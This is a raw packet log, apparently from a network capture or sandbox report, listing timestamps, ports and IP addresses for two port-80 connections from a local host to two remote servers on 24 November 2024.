Nov 24, 2024 12:24:30.106240988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.106332064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.106373072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.107240915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.107287884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.107319117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.107363939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.108377934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.108426094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.108458042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.108510971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.109452963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.109498978 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.109546900 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.109589100 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.110563040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.110609055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.110673904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.110716105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.111674070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.111721039 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.111759901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.111800909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.112771988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.112818956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.112867117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.112910032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.113872051 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.113919020 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.113964081 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.114006996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.114991903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.115036964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.115082026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.115134001 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.116087914 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.116183043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.116275072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.116275072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.117193937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.117248058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.117351055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.117394924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.118319035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.118335962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.118361950 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.118375063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.119396925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.119446039 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.119534016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.119580030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.120539904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.120590925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.120614052 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.120660067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.121644020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.121687889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.121798992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.121845007 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.122793913 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.122843981 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.122924089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.122968912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.123838902 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.123883963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.123948097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.123994112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.124947071 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.124994993 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.125124931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.125169992 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.126090050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.126132965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.126156092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.126199007 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.127156019 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.127199888 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.127230883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.127274036 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.128268003 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.128307104 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.128448009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.128489971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.129371881 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.129417896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.129484892 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.129528999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.130494118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.130537033 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.130603075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.130645990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.131531954 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.131628036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.131674051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.131782055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.131827116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.132689953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.132761002 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.132797956 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.132838011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.133774042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.133817911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.133882999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.133929014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.134891033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.134934902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.134960890 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.135004044 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.135993004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.136038065 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.136074066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.136116982 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.137118101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.137162924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.137236118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.137279987 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.138298035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.138341904 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.138379097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.138422012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.139319897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.139364004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.139406919 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.139451027 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.140434980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.140480042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.140552998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.140597105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.141530037 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.141573906 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.141621113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.141665936 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.142708063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.142780066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.142827988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.142870903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.143726110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.143769026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.162530899 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.162575960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.162698984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.162780046 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.162888050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.162931919 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.163561106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.163683891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.163727045 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.164288044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.164385080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.164427042 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.168498039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.168700933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.168745041 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.168749094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.168834925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.168876886 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.169514894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.169620991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.169663906 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.170319080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.170344114 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.170387030 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.170895100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.171066999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.171133995 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.171761990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.171919107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.171968937 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.172537088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.172652960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.172702074 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.173286915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.173408985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.173453093 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.174105883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.174233913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.174278975 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.174915075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.175031900 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.175098896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.175724983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.175843000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.175889015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.176537991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.176585913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.176631927 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.177439928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.177526951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.177572966 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.178165913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.178286076 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.178328991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.178975105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.179070950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.179116011 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.179790020 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.179867983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.179913044 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.180588961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.180764914 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.180809021 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.181380987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.181513071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.181559086 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.182183027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.182322979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.182369947 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.183010101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.183130980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.183177948 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.183837891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.184065104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.184108973 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.184595108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.184704065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.184748888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.185419083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.185522079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.185566902 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.186300993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.186378956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.186428070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.187084913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.187256098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.187297106 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.187808990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.187954903 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.187994957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.188636065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.188733101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.188771963 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.189438105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.189552069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.189591885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.190239906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.190285921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.190324068 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.191046000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.191262007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.191307068 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.191864014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.191996098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.192034006 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.192687035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.192853928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.192893982 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.193555117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.193707943 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.193747997 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.194300890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.194490910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.194535017 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.195086956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.195213079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.195252895 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.195892096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.196012974 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.196050882 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.196681023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.196803093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.196846008 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.197494030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.197556019 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.197590113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.198303938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.198421001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.198463917 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.199090958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.199206114 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.199244022 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.199937105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.200064898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.200103998 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.200696945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.200856924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.200895071 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.201579094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.201674938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.201715946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.202338934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.202441931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.202481985 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.278671026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.278703928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.278892994 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.279031992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.279082060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.279139996 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.280209064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.280255079 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.280280113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.281342030 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.281348944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.281430960 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.281480074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.282588959 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.283030987 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.283073902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.283205032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.283299923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.283598900 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.283648014 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.283755064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.283850908 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.283869028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.283896923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.283898115 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.283912897 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.284296989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.284385920 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.284430027 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.284641981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.284799099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.284840107 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.284972906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.285123110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.285654068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.285698891 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.285734892 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.285753012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.285763025 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.285777092 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.285795927 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.286510944 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.286549091 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.286619902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.286803007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.286849022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.286849022 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.286936045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.287379026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.287395000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:30.287420034 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.287441015 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:30.287921906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.288016081 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.288067102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:30.289074898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.289139986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:30.289196014 CET	49793	80	192.168.2.4	31.41.244.11
